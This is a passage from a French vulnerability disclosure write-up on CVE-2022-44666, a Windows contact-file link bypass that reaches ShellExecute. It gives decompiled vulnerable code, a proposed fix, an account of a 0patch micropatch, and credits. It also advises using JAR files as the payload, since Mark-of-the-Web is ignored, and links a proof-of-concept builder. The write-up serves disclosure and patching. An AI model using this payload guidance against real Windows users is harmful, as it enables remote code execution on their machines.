***Mise à jour 2023/06/19:*** Après avoir lu le [post de @pfiatde][R.24] sur ["ZipJar"][R.25], cette information intéressante fait des fichiers JAR de bons candidats pour être utilisés comme charge utile dans cette vulnérabilité, qui est d'ailleurs encore un 0day de nos jours, car le MotW est ignoré et aucune invite n'est demandée.
La charge utile JAR a été prise du dépôt GitHub [calc_security_poc][R.26].
Voici ci-joint un petit constructeur, [create-poc.py](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/jar-poc) pour créer votre propre POC à partir d'un modèle.

N'oubliez pas de remercier [@microlovu][R.27] et [@mlftsecresponse][R.28]. 😂
## Correctif proposé
Rappelez-vous le code vulnérable dans la fonction "fnSummaryProc" :```cpp
...
LABEL_44:
SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44;
}
}
...
La fonction "IsInternetAddress" a été intentionnellement créée pour vérifier si l'attribut href correspond à une adresse e-mail. Donc, ma correction proposée (et en suivant les fonctions importées que la bibliothèque utilise) serait:```cpp ... if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:" { v30 = v23; goto LABEL_44; } ...
C'est aussi simple que ça : il suffit de vérifier cela avant d'appeler "SafeExecute". En testant simplement si la chaîne cible (v23) commence par "mailto:", le bug serait totalement corrigé, à mon avis.
## Correctif non officiel
Il y a quelques jours/semaines, lorsque j'ai contacté [@mkolsek][R.30] de [0patch][R.23] pour l'informer de ce problème, qui, soit dit en passant, est toujours très aimable avec moi, il m'a dit que cela avait reçu [un correctif non officiel pour Windows 7 depuis lors][R.29] (il y a 4 ans). Ce fut une surprise et une bonne nouvelle !
Il a été testé et a réussi à arrêter la nouvelle variante de CVE-2022-44666. Le micropatch ajoute "http://" au début de la chaîne contrôlée par l'attaquant passée par l'attribut href si elle ne commence pas par "mailto:", "http://" ou "https://", ce qui suffit à corriger complètement le problème. Il est maintenant prévu de l'étendre aux dernières versions de Windows, il suffit de mettre à jour quelques offsets.

Quoi qu'il en soit, il serait préférable d'obtenir un correctif officiel.
## Remerciements
+ [@hyp3rlinx][R.1] : Un grand merci et une reconnaissance particulière car il a commencé cette recherche il y a quelques années et son travail a été essentiel pour cet article. ~~Il aurait dû être également crédité pour cette découverte, mais malheureusement je n'ai pas pu le contacter à temps~~. C'est déjà fait (***Mise à jour 2023/02/08***).
+ [@Edu_Braun_0day][R.20] : qui a également travaillé sur [ce problème][R.31].
+ [@mkolsek][R.30].
+ [@matalaz][R.12].
+ [@buffaloverflow][R.19].
+ [@msftsecresponse][R.2].
+ ...
Par [@j00sean](https://twitter.com/j00sean)
[R.1]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/hyp3rlinx%3E "@hyp3rlinx"
[R.2]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/msftsecresponse%3E "@msftsecresponse"
[R.3]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/thezdi%3E "@thezdi"
[R.4]: <https://www.exploit-db.com/exploits/46222> "John Page (aka hyp3rlinx)'s exploit fully disclosed more than 4 years ago"
[R.5]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.zerodayinitiative.com/advisories/ZDI-19-121/%3E "ZDI-19-121"
[R.6]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.microsoft.com/en-us/windows/win32/controls/syslink-overview%3E "MS Documentation about syslink controls"
[R.7]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.mozilla.org/en-US/security/advisories/mfsa2022-24/#CVE-2022-34478> "CVE-2022-34478: search-ms disabling for Mozilla Firefox"
[R.8]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html%3E "LDIF attributes and associated fields documentation"
[R.9]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/ldaptor.readthedocs.io/en/latest/quickstart.html#ldap-server-quick-start> "ldaptor server quick start"
[R.10]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44666%3E "CVE-2022-44666"
[R.11]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/joxeankoret/diaphora%3E "Diaphora"
[R.12]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/matalaz%3E "@matalaz"
[R.13]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-urlisw%3E "UrlIsW function"
[R.14]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190%3E "CVE-2022-30190"
[R.15]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell%3E "Follina vulnerability"
[R.16]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34713%3E "CVE-2022-34713"
[R.17]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/microsoft/microsoft-patches-windows-dogwalk-zero-day-exploited-in-attacks%3E "DogWalk vulnerability"
[R.18]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow/status/1534445288332701697%3E "Diagcab files"
[R.19]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow%3E "@buffaloverflow"
[R.20]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/edu_braun_0day%3E "@Edu_Braun_0day"
[R.21]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/decoder.cloud/2018/02/02/getting-system%3E "Parent process technique"
[R.22]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/decoder-it/psgetsystem%3E "Getsystem via parent process"
[R.23]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/0patch.com%3E "0patch"
[R.24]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/pfiatde%3E "@pfiatde"
[R.25]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/badoption.eu/blog/2023/06/01/zipjar.html%3E "ZipJar, a little bit unexpected attack chain"
[R.26]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/arntsonl/calc_security_poc/tree/master/jar%3E "calc_security_poc"
[R.27]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/microlovu%3E "@microlovu"
[R.28]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mlftsecresponse%3E "@mlftsecresponse"
[R.29]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/blog.0patch.com/2019/01/one-two-three-micropatches-for-three.html%3E "Micropatch released 4 years ago"
[R.30]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mkolsek%3E "@mkolsek"
[R.31]: <https://packetstormsecurity.com/files/151267/Microsoft-Windows-VCF-Arbitrary-Code-Execution.html> "Microsoft Windows VCF or Contact' File - URL Manipulation-Spoof Arbitrary Code Execution"

